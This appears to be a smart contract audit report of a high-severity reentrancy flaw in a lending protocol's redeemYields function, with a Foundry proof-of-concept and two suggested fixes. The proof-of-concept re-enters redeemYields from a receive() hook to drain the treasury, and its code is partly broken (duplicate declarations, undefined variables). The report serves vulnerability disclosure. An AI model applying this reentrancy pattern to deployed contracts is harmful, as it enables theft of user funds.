Jumpy Wool Mockingbird
High
Attacker has to create a bond, when he tries to reedemYields
is vulnerable to reentrancy, it calls treasury.withdrawFromExternalProtocol
which triggers .call
before calling abond.burnFromUser
allowing the bond to exist and making the reentrancy possible
In BorrowLib.sol
abond.burnFromUser
is called after treasury.withdrawFromExternalProtocol
which is vulnerable to reentrancy which allows an attack to trigger redeemYields
as many time as they like, until they drain all funds from treasury
- Attacker has to create a valid bond and wait until it can use
redeemYields
No response
reedemYields
- with a validaBondAmount
- Recall
redeemYields
untilTreasury.sol
is drained (can only be done from a contract)
Loss of all funds in Treasury.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test,StdUtils,console} from "forge-std/Test.sol";
import {BorrowingTest} from "../../contracts/TestContracts/CopyBorrowing.sol";
import {Treasury} from "../../contracts/Core_logic/Treasury.sol";
import {Options} from "../../contracts/Core_logic/Options.sol";
import {MultiSign} from "../../contracts/Core_logic/multiSign.sol";
import {CDSTest} from "../../contracts/TestContracts/CopyCDS.sol";
import {TestUSDaStablecoin} from "../../contracts/TestContracts/CopyUSDa.sol";
import {TestABONDToken} from "../../contracts/TestContracts/Copy_Abond_Token.sol";
import {TestUSDT} from "../../contracts/TestContracts/CopyUsdt.sol";
import {HelperConfig} from "../../scripts/script/HelperConfig.s.sol";
import {DeployBorrowing} from "../../scripts/script/DeployBorrowing.s.sol";
import {IWrappedTokenGatewayV3} from "../../contracts/interface/AaveInterfaces/IWETHGateway.sol";
import {IPoolAddressesProvider} from "../../contracts/interface/AaveInterfaces/IPoolAddressesProvider.sol";
import {ILendingPoolAddressesProvider} from "../../contracts/interface/AaveInterfaces/ILendingPoolAddressesProvider.sol";
import {IPool} from "../../contracts/interface/AaveInterfaces/IPool.sol";
import {State} from "../../contracts/interface/IAbond.sol";
import {IBorrowing} from "../../contracts/interface/IBorrowing.sol";
import {CDSInterface} from "../../contracts/interface/CDSInterface.sol";
import {ITreasury} from "../../contracts/interface/ITreasury.sol";
import {CometMainInterface} from "../../contracts/interface/CometMainInterface.sol";
import {IOptions} from "../../contracts/interface/IOptions.sol";
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { MessagingFee } from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/OApp.sol";
import { OptionsBuilder } from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/libs/OptionsBuilder.sol";
import {IGlobalVariables} from "../../contracts/interface/IGlobalVariables.sol";
import {IWrsETH} from "../../contracts/interface/IWrsETH.sol";
interface IBorrowLib{
function redeemYields(
address user,
uint128 aBondAmount,
address usdaAddress,
address abondAddress,
address treasuryAddress,
address borrow
) public returns (uint256);
}
contract Exploit is Test{
DeployBorrowing deployer;
DeployBorrowing.Contracts contractsA;
DeployBorrowing.Contracts contractsB;
DeployBorrowing deployer;
DeployBorrowing.Contracts contractsA;
DeployBorrowing.Contracts contractsB;
address ethUsdPriceFeed;
address public USER = makeAddr("user");
address public owner = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
address public owner1 = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
address public aTokenAddress = 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8; // 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8;
address public cometAddress = 0xA17581A9E3356d9A858b789D68B4d866e593aE94; // 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
uint256 public ETH_AMOUNT = 1 ether;
uint256 public STARTING_ETH_BALANCE = 100 ether;
uint64 public ETH_PRICE = 1000e2;
uint256 public ETH_VOLATILITY = 50622665;
using OptionsBuilder for bytes;
IBorrowLib target;
address treasury;
function setUp() public {
deployer = new DeployBorrowing();
(contractsA,contractsB) = deployer.run();
vm.deal(USER,STARTING_ETH_BALANCE);
vm.deal(owner,STARTING_ETH_BALANCE);
}
constructor(address adr, address tr) {
target = IBorrowLib(target);
treasury = tr;
}
receive() external {
if(treasury.balance > 0){
uint256 withdrawAmount = contractsB.borrow.redeemYields(address(USER),uint128(abondBalance));
}
}
function testUserCanRedeemAbond() public {
vm.startPrank(USER);
vm.warp(block.timestamp + 2592000);
contractsB.borrow.calculateCumulativeRate();
contractsB.usda.mint(address(USER),1000000000);
uint256 usdaBalance = contractsB.usda.balanceOf(address(USER));
contractsB.usda.approve(address(contractsB.borrow),usdaBalance);
contractsB.borrow.withDraw{value:(borrowFee.nativeFee + treasuryFee.nativeFee)}(address(USER),1,99900,uint64(block.timestamp));
contractsB.borrow.depositTokens{value: (ETH_AMOUNT+cdsFee.nativeFee+borrowFee.nativeFee+treasuryFee.nativeFee)}(
100000,uint64(block.timestamp),IOptions.StrikePrice.TEN,110000,50622665,ETH_AMOUNT);
vm.warp(block.timestamp + 2592000);
contractsB.borrow.calculateCumulativeRate();
contractsB.usda.mint(address(USER),10000000);
contractsB.usda.approve(address(contractsB.borrow),contractsB.usda.balanceOf(address(USER)));
contractsB.borrow.withDraw{value:(borrowFee.nativeFee + treasuryFee.nativeFee)}(address(USER),2,99900,uint64(block.timestamp));
uint256 aTokenBalance = IERC20(aTokenAddress).balanceOf(address(contractsB.treasury));
uint256 cETHbalance = CometMainInterface(cometAddress).balanceOf(address(contractsB.treasury));
uint256 abondBalance = contractsB.abond.balanceOf(address(USER));
contractsB.abond.approve(address(contractsB.borrow), abondBalance);
// When redeemYields is called it will trigger a reentrancy in `withdrawFromExternalProtocol` which allows to drain the treasury
uint256 withdrawAmount = contractsB.borrow.redeemYields(address(USER),uint128(abondBalance));
assert((aTokenBalance + cETHbalance - withdrawAmount) <= 1e16);
vm.stopPrank();
}
}
Option 1: Add nonReetrant
to withdrawFromExternalProtocol
Option 2: Move abond.burnFromUser
before the treasury.withdrawFromExternalProtocol